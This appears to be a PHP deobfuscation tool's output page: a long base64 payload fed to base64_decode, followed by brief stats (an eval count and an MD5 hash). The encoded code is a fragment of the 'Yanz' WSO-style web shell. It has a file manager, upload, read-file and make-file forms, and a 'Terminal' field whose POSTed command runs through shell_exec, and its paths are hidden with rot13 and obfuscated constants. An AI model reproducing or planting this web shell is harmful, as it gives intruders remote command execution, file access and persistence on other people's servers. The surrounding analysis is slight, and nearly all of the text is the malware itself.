ICAgICAgJF9uID0gIiI7CiAgICAgICAgZm9yZWFjaCAoJF9jdyBhcyAkX25vcykgewogICAgICAgICAgICAkX24gLj0gIjxvcHRpb24gdmFsdWU9XCIiIC4gJF9ub3MgLiAiXCIgIiAuICgkX1BPU1RbImNoIl0gPT0gJF9ub3MgPyAic2VsZWN0ZWQiIDogIiIpIC4gIj4iIC4gJF9ub3MgLiAiPC9vcHRpb24+IjsKICAgICAgICB9CiAgICAgICAgJF9mYmQgPSBhcnJheSgiRmlsZXMiID0+ICJmbSIpOwogICAgICAgIGlmICghZW1wdHkoJF9DT09LSUVbJF9pXSkpIHsKICAgICAgICAgICAgJF9mYmRbIkxvZ291dCJdID0gIkxvZ291dCI7CiAgICAgICAgfQogICAgICAgICRfaCA9ICIiOwogICAgICAgIGZvcmVhY2ggKCRfZmJkIGFzICRfZ3RxID0+ICRfZSkgewogICAgICAgICAgICAkX2ggLj0gIjx0aCB3aWR0aD1cIiIgLiAoaW50KSAoKGludCkgcm91bmQoNTAgKyA1MCkgLyBjb1VudCgkX2ZiZCkpIC4gIiVcIj5bIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImcoJyIgLiAkX2UgLiAiJyxudWxsLCcnLCcnLCcnKVwiPiIgLiAkX2d0cSAuICI8L2E+IF08L3RoPiI7CiAgICAgICAgfQogICAgICAgICRfZGVqID0gIiI7CiAgICAgICAgaWYgKCRfdm9yID09ICJ3aW4iKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKEBSYW5nZSgiYyIsICJ6IikgYXMgJF9zengpIHsKICAgICAgICAgICAgICAgIGlmIChASXNfZElyKCRfc3p4IC4gIjpcXCIpKSB7CiAgICAgICAgICAgICAgICAgICAgJF9kZWogLj0gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImcoJ2ZtJywnIiAuIFNUcl9yb1QxMygkX3N6eCkgLiAiOi8nKVwiPlsgIiAuICRfc3p4IC4gIiBdPC9hPiAiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfdXkgPSAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXTsKICAgICAgICBpZiAoZW1wdHkoJF91eSkpIHsKICAgICAgICAgICAgJF91eSA9IEdlVGhvU1RieU5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOwogICAgICAgIH0KICAgICAgICBlY2hvICI8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+PGZvbnQgY29sb3I9cmVkPkF0dGVudGlvbjo8L2ZvbnQ+PGJyPlVuYW1lOjxicj5QaHA6PGJyPkhkZDo8YnI+Q3dkOiIgLiAoJF92b3IgPT0gIndpbiIgPyAiPGJyPkRyaXZlczoiIDogIiIpIC4gIjwvc3Bhbj48L3RkPiIgLiAiPHRkPjxhIGhyZWY9JyMnPC9hPjx1PjxiPllhbnogV2Vic2hlbGwhPC9iPiAtIFBSSVY4IFdFQiBTSEVMTCBPUkIgWUFOWiBCWVBBU1MhPC91PjwvYT48YnI+PG5vYnI+IiAuICgkX3YgPyBzdWJzVHIoJF92LCAtMDEgKyAwMSwgKGludCkgcm91bmQoNDAgKyA0MCArIDQwKSkgOiAiTi9BIikgLiAiPC9ub2JyPjxicj4iIC4gQHBIUHZlcnNpT04oKSAuICIgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gIiAuICgkX3ZwYiA/ICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+IiA6ICI8Zm9udCBjb2xvcj1ncmVlbj48Yj5PRkY8L2I+PC9mb250PiIpIC4gIiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICIgLiBkYVRFKCJZLW0tZCBIOmk6cyIpIC4gIjxicj4iIC4gKCRfZWpsID8gdklld1NJWmUoJF9lamwpIDogIiIpIC4gIiA8c3Bhbj5GcmVlOjwvc3Bhbj4gIiAuICgkX3BuID8gdklld1NpWmUoJF9wbikgOiAiIikgLiAiICgiIC4gKCRfcG4gJiYgJF9lamwgPyAoaW50KSAoJF9wbiAvICRfZWpsICogKDAxNTcgKyAwMTM2IC0gMDE1MSkpIDogIjAiKSAuICIlKTxicj48c3BhbiBpZD1cImxpbmtzXCIgY2xhc3M9XCJ3ZndcIj4iIC4gJF9ibCAuICIgIiAuIFdQZXJNU0NPTE9yKCRfemEpIC4gIiA8YSBocmVmPSMgb25jbGljaz1cImcoJ2ZtJywnIiAuIFNUcl9yb3QxMygkX3dkYSkgLiAiJywnJywnJywnJylcIj5bIHJvb3QgXTwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmbScsJyIgLiBTdHJfck9UMTMoJF96cnQpIC4gIicsJycsJycsJycpXCI+WyBob21lIF08L2E+PC9zcGFuPjxzcGFuIGlkPVwiY3dkXCIgc3R5bGU9XCJkaXNwbGF5OiBub25lO1wiIGNsYXNzPVwid2Z3XCI+PGlucHV0IHNpemU9IiAuIChTVHJsZW4oJF96YSkgKyAoaW50KSByb3VuZCgxMSArIDExKSkgLiAiIHR5cGU9dGV4dCB2YWx1ZT1cIiIgLiAkX3phIC4gIlwiPjwvc3Bhbj4gPGEgaHJlZj0jIG9uY2xpY2s9XCJzaG93KCk7XCI+PGZvbnQgY29sb3I9I2ZmZiBpZD1cImJhdFwiPlRleHQ8L2ZvbnQ+PC9hPjxicj4iIC4gJF9kZWogLiAiPC90ZD4iIC4gIjx0ZCB3aWR0aD0xIGFsaWduPXJpZ2h0Pjxub2JyPjxzZWxlY3Qgb25jaGFuZ2U9XCJnKG51bGwsbnVsbCwiIC4gKCFlbXB0eSgkX1BPU1RbInAiXSkgPyAiJyIgLiAkX1BPU1RbInAiXSAuICInIiA6ICJudWxsIikgLiAiLG51bGwsbnVsbCx0aGlzLnZhbHVlKVwiPjxvcHRncm91cCBsYWJlbD1cIlBhZ2UgY2hhcnNldFwiPiIgLiAkX24gLiAiPC9vcHRncm91cD48L3NlbGVjdD48YnI+PHNwYW4+U2VydmVyIElQOjwvc3Bhbj48YnI+IiAuICRfdXkgLiAiPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPiIgLiAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSAuICI8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+IiAuICI8dGFibGUgc3R5bGU9XCJib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzO1wiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4iIC4gJF9oIC4gIjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPVwibWFyZ2luOjVcIj4iOwogICAgfQogICAgZnVuY3Rpb24gd2ZPb3RFUigpCiAgICB7CiAgICAgICAgJF96YSA9ICR0aGlzLT5femE7CiAgICAgICAgJF9saWEgPSBAaXNfV3JJdGFiTGUoJF96YSkgPyAiIDxmb250IGNvbG9yPSdncmVlbic+KFdyaXRlYWJsZSk8L2ZvbnQ+IiA6ICIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7CiAgICAgICAgZWNobyAiPC9kaXY+PHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjMzMzO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICMzMzM7Jz48dHI+PHRkPjxmb3JtIG9uc3VibWl0PSdnKG51bGwscm90MTModGhpcy5jLnZhbHVlKSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nIiAuIEh0TWxTcGVDaWFMY0hBclMoJF96YSkgLiAiJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD48dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdmdCcsbnVsbCxyb3QxMyh0aGlzLmYudmFsdWUpKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD48L3RyPjx0cj48dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdmbScsbnVsbCwnbWtkaXInLHJvdDEzKHRoaXMuZC52YWx1ZSkpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+IiAuICRfbGlhIC4gIjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPjx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ2Z0JyxudWxsLHJvdDEzKHRoaXMuZi52YWx1ZSksJ21rZmlsZScpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPiIgLiAkX2xpYSAuICI8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD48L3RyPjx0cj48dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdjZScsbnVsbCx1dG9hKHRoaXMuYy52YWx1ZSkpO3JldHVybiBmYWxzZTtcIj48L2E+PC9mb3JtPjxmb3JtIG1ldGhvZD1wb3N0ID48c3Bhbj5UZXJtaW5hbDo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWNvbW1hbmQgdmFsdWU9JycgYXV0b2NvbXBsZXRlPSdvZmYnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nIG5hbWU9J3N1YmNtZCc+PC9mb3JtPjwvdGQ+PHNwYW4+PC90ZD48dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdmbSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIHNUcl9Sb1QxMygkX3phKSAuICInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAgdmFsdWU9J3VwbG9hZEZpbGUnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoIHZhbHVlPSciIC4gKEBpc3NldCgkX1BPU1RbImNoIl0pID8gJF9QT1NUWyJjaCJdIDogIiIpIC4gIic+PHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPiIgLiAkX2xpYSAuICI8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PGJyICA+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOwogICAgfQp9CmZ1bmN0aW9uIHZJZXdTSXplKCRfeHdtLCAkX3lqID0gbnVsbCkKewogICAgaWYgKGlTX0lOdCgkX3h3bSkpIHsKICAgICAgICAkX3h3bSA9IEBzcFJJTnRmKCIldSIsICRfeHdtKTsKICAgIH0KICAgIGlmICgkX3h3bSA+PSAoaW50KSByb3VuZCgzNTc5MTM5NDEuMzMzMzMgKyAzNTc5MTM5NDEuMzMzMzMgKyAzNTc5MTM5NDEuMzMzMzMpKSB7CiAgICAgICAgcmV0dXJuIEBzcFJJTnRmKCIlMS4yZiIsICRfeHdtIC8gKDAxMDAwMDAwMTI0MCArIC0wMTI0MCkpIC4gIiBHQiI7CiAgICB9IGVsc2VpZiAoJF94d20gPj0gMDM3NzcwNzMgLSAwNDAwMDU2MCArIDA0MDAxNDY1KSB7CiAgICAgICAgcmV0dXJuIEBTcHJpblRGKCIlMS4yZiIsICRfeHdtIC8gKGludCkgcm91bmQoMzQ5NTI1LjMzMzMzMzMzICsgMzQ5NTI1LjMzMzMzMzMzICsgMzQ5NTI1LjMzMzMzMzMzKSkgLiAiIE1CIjsKICAgIH0gZWxzZWlmICgkX3h3bSA+PSAoaW50KSByb3VuZCg1MTIgKyA1MTIpKSB7CiAgICAgICAgcmV0dXJuIEBzUFJpblRmKCIlMS4yZiIsICRfeHdtIC8gKGludCkgcm91bmQoMzQxLjMzMzMzMzMzMzMzICsgMzQxLjMzMzMzMzMzMzMzICsgMzQxLjMzMzMzMzMzMzMzKSkgLiAiIEtCIjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICRfeHdtIC4gIiBCIjsKICAgIH0KfQpmdW5jdGlvbiBXUGVyTXMoJF9sKQp7CiAgICBpZiAoKCRfbCAmIDAxNDAzNzEgLSAwMTM3NzMzICsgMDEzNzM0MikgPT0gMDEzNzYxNSAtIC0wMTYzKSB7CiAgICAgICAgJF9vID0gInMiOwogICAgfSBlbHNlaWYgKCgkX2wgJiAoaW50KSByb3VuZCgyMDQ4MCArIDIwNDgwKSkgPT0gMDExNzc3NCAtIC0wNCkgewogICAgICAgICRfbyA9ICJsIjsKICAgIH0gZWxzZWlmICgoJF9sICYgKGludCkgcm91bmQoMTA5MjIuNjY2NjY2NjY3ICsgMTA5MjIuNjY2NjY2NjY3ICsgMTA5MjIuNjY2NjY2NjY3KSkgPT0gMDEwMDI3MCArIC0wMjcwKSB7CiAgICAgICAgJF9vID0gIi0iOwogICAgfSBlbHNlaWYgKCgkX2wgJiAoaW50KSByb3VuZCg4MTkyICsgODE5MiArIDgxOTIpKSA9PSAoaW50KSByb3VuZCgxMjI4OCArIDEyMjg4KSkgewogICAgICAgICRfbyA9ICJiIjsKICAgIH0gZWxzZWlmICgoJF9sICYgKGludCkgcm91bmQoODE5MiArIDgxOTIpKSA9PSAwMzc2NTUgLSAwNDAxMjEgLSAtMDQwMjQ0KSB7CiAgICAgICAgJF9vID0gImQiOwogICAgfSBlbHNlaWYgKCgkX2wgJiAoaW50KSByb3VuZCgyNzMwLjY2NjY2NjY2NjcgKyAyNzMwLjY2NjY2NjY2NjcgKyAyNzMwLjY2NjY2NjY2NjcpKSA9PSAwMTc1NzQgKyAwMjA0KSB7CiAgICAgICAgJF9vID0gImMiOwogICAgfSBlbHNlaWYgKCgkX2wgJiAoaW50KSByb3VuZCgxMzY1LjMzMzMzMzMzMzMgKyAxMzY1LjMzMzMzMzMzMzMgKyAxMzY1LjMzMzMzMzMzMzMpKSA9PSAwMTAxMTAgKyAtMDExMCkgewogICAgICAgICRfbyA9ICJwIjsKICAgIH0gZWxzZSB7CiAgICAgICAgJF9vID0gInUiOwogICAgfQogICAgJF9vIC49ICRfbCAmIDA3NTIgKyAwNDQgLSAwNDE2ID8gInIiIDogIi0iOwogICAgJF9vIC49ICRfbCAmIChpbnQpIHJvdW5kKDQyLjY2NjY2NjY2NjY2NyArIDQyLjY2NjY2NjY2NjY2NyArIDQyLjY2NjY2NjY2NjY2NykgPyAidyIgOiAiLSI7CiAgICAkX28gLj0gJF9sICYgLTAxMjIzIC0gLTAxMzIzID8gJF9sICYgKGludCkgcm91bmQoNjgyLjY2NjY2NjY2NjY3ICsgNjgyLjY2NjY2NjY2NjY3ICsgNjgyLjY2NjY2NjY2NjY3KSA/ICJzIiA6ICJ4IiA6ICgkX2wgJiAwNTAxNCArIDA0NzI1ICsgLTA1NzQxID8gIlMiIDogIi0iKTsKICAgICRfbyAuPSAkX2wgJiAtMDEwNDQgLSAtMDExMDQgPyAiciIgOiAiLSI7CiAgICAkX28gLj0gJF9sICYgMDIwICsgMDIyIC0gMDIyID8gInciIDogIi0iOwogICAgJF9vIC49ICRfbCAmIChpbnQpIHJvdW5kKDIuNjY2NjY2NjY2NjY2NyArIDIuNjY2NjY2NjY2NjY2NyArIDIuNjY2NjY2NjY2NjY2NykgPyAkX2wgJiAwMTU2NCArIDAxMzY1ICsgLTAxMTUxID8gInMiIDogIngiIDogKCRfbCAmIChpbnQpIHJvdW5kKDUxMiArIDUxMikgPyAiUyIgOiAiLSIpOwogICAgJF9vIC49ICRfbCAmIChpbnQpIHJvdW5kKDEuMzMzMzMzMzMzMzMzMyArIDEuMzMzMzMzMzMzMzMzMyArIDEuMzMzMzMzMzMzMzMzMykgPyAiciIgOiAiLSI7CiAgICAkX28gLj0gJF9sICYgKGludCkgcm91bmQoMC42NjY2NjY2NjY2NjY2NyArIDAuNjY2NjY2NjY2NjY2NjcgKyAwLjY2NjY2NjY2NjY2NjY3KSA/ICJ3IiA6ICItIjsKICAgICRfbyAuPSAkX2wgJiAwMTA2IC0gMDEwNSA/ICRfbCAmIChpbnQpIHJvdW5kKDE3MC42NjY2NjY2NjY2NyArIDE3MC42NjY2NjY2NjY2NyArIDE3MC42NjY2NjY2NjY2NykgPyAidCIgOiAieCIgOiAoJF9sICYgMDc2NSArIDA0NzAgLSAwNDU1ID8gIlQiIDogIi0iKTsKICAgIHJldHVybiAkX287Cn0KZnVuY3Rpb24gd3BFUm1zQ09sb3IoJF9yYikKewogICAgaWYgKCFAaXNfckVBZGFCTEUoJF9yYikpIHsKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPSNGRjAwMDA+IiAuIHdQRXJtcyhmSUxFcEVSTXMoJF9yYikpIC4gIjwvZm9udD4iOwogICAgfSBlbHNlaWYgKCFAaVNfV1JJdGFiTEUoJF9yYikpIHsKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPXdoaXRlPiIgLiB3UEVSbXMoRklsRXBlck1TKCRfcmIpKSAuICI8L2ZvbnQ+IjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj0jMjVmZjAwPiIgLiB3cGVSbVMoRmlMZXBFUm1TKCRfcmIpKSAuICI8L2ZvbnQ+IjsKICAgIH0KfQpmdW5jdGlvbiB3U2NhbkRJUigkX3BhLCAkX3UgPSAidXZ4ZiIpCnsKICAgIGlmIChmdW5DVGlvbl9leElTVHMoInNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBAU2NBbkRJcigkX3BhKTsKICAgIH0gZWxzZSB7CiAgICAgICAgaWYgKCRfaGNmID0gQG9QRU5ESXIoJF9wYSkpIHsKICAgICAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJF9ubSA9IEByZUFkRElSKCRfaGNmKSkpIHsKICAgICAgICAgICAgICAgICRfdmdsW10gPSAkX25tOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBDbE9zZURJcigkX2hjZik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX3ZnbDsKICAgIH0KfQokX3RjbiA9IG5ldyBfcHBzKCk7CiRfdGNuLT5BRlRFcmxPR2luKCk7CiRfdGNuLT5TVGFSdHVwKCk7CmlmIChAaXNzZXQoJF9QT1NUWyJhIl0pKSB7CiAgICBzd2l0Y2ggKCRfUE9TVFsiYSJdKSB7CiAgICAgICAgY2FzZSAiZm0iOgogICAgICAgICAgICAkX3Rjbi0+V2hlQURlcigpOwogICAgICAgICAgICAkX3Rjbi0+YWNUZm0oKTsKICAgICAgICAgICAgJF90Y24tPndmT290ZXIoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAiZnQiOgogICAgICAgICAgICBpZiAoQGlzc2V0KCRfUE9TVFsieCJdKSAmJiAkX1BPU1RbIngiXSA9PSAiZG93bmxvYWQiKSB7CiAgICAgICAgICAgICAgICAkX3Rjbi0+YUN0RlQoKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRfdGNuLT53SGVBRGVSKCk7CiAgICAgICAgICAgICAgICAkX3Rjbi0+YUNURlQoKTsKICAgICAgICAgICAgICAgICRfdGNuLT53Zm9PdGVSKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAic3IiOgogICAgICAgICAgICAkX3Rjbi0+V2hFQWRFcigpOwogICAgICAgICAgICAkX3Rjbi0+YUN0U3IoKTsKICAgICAgICAgICAgJF90Y24tPndmT09UZXIoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAiTG9nb3V0IjoKICAgICAgICAgICAgJF90Y24tPmFjdExvR29VVCgpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAkX3Rjbi0+V0hlYURlcigpOwogICAgICAgICAgICAkX3Rjbi0+QWN0Zk0oKTsKICAgICAgICAgICAgJF90Y24tPldGT090RXIoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9Cn0gZWxzZWlmICghQGlzc2V0KCRfUE9TVFsiYSJdKSkgewogICAgJF90Y24tPldIZUFkRVIoKTsKICAgICRfdGNuLT5BY1RmbSgpOwogICAgJF90Y24tPldmT09URVIoKTsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3N1YmNtZCddKSkgewogICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9J3RleHQtd2hpdGUnPiI7CiAgICAgICAgJGlucHV0ID0gJF9QT1NUWydjb21tYW5kJ107CiAgICAgICAgJG91dHB1dCA9IHNoZWxsX2V4ZWMoJGlucHV0KTsKICAgICAgICBlY2hvICI8YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPiI7CiAgICAgICAgZWNobyAiPGNlbnRlcj5XU08gQllQQVNTIFlBTlohPC9jZW50ZXI+IjsKICAgICAgICBlY2hvICI8YnI+IjsKICAgICAgICBlY2hvICckV1NPWWFuWjogJzsKICAgICAgICBlY2hvICRvdXRwdXQ7CiAgICAgICAgZWNobyAiPC9wcmU+IjsKICAgICAgICBleGl0OwogICAgfQp9"));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 03d18689569e35ae62360cbfc1652928
Eval Count 1
Decode Time 148 ms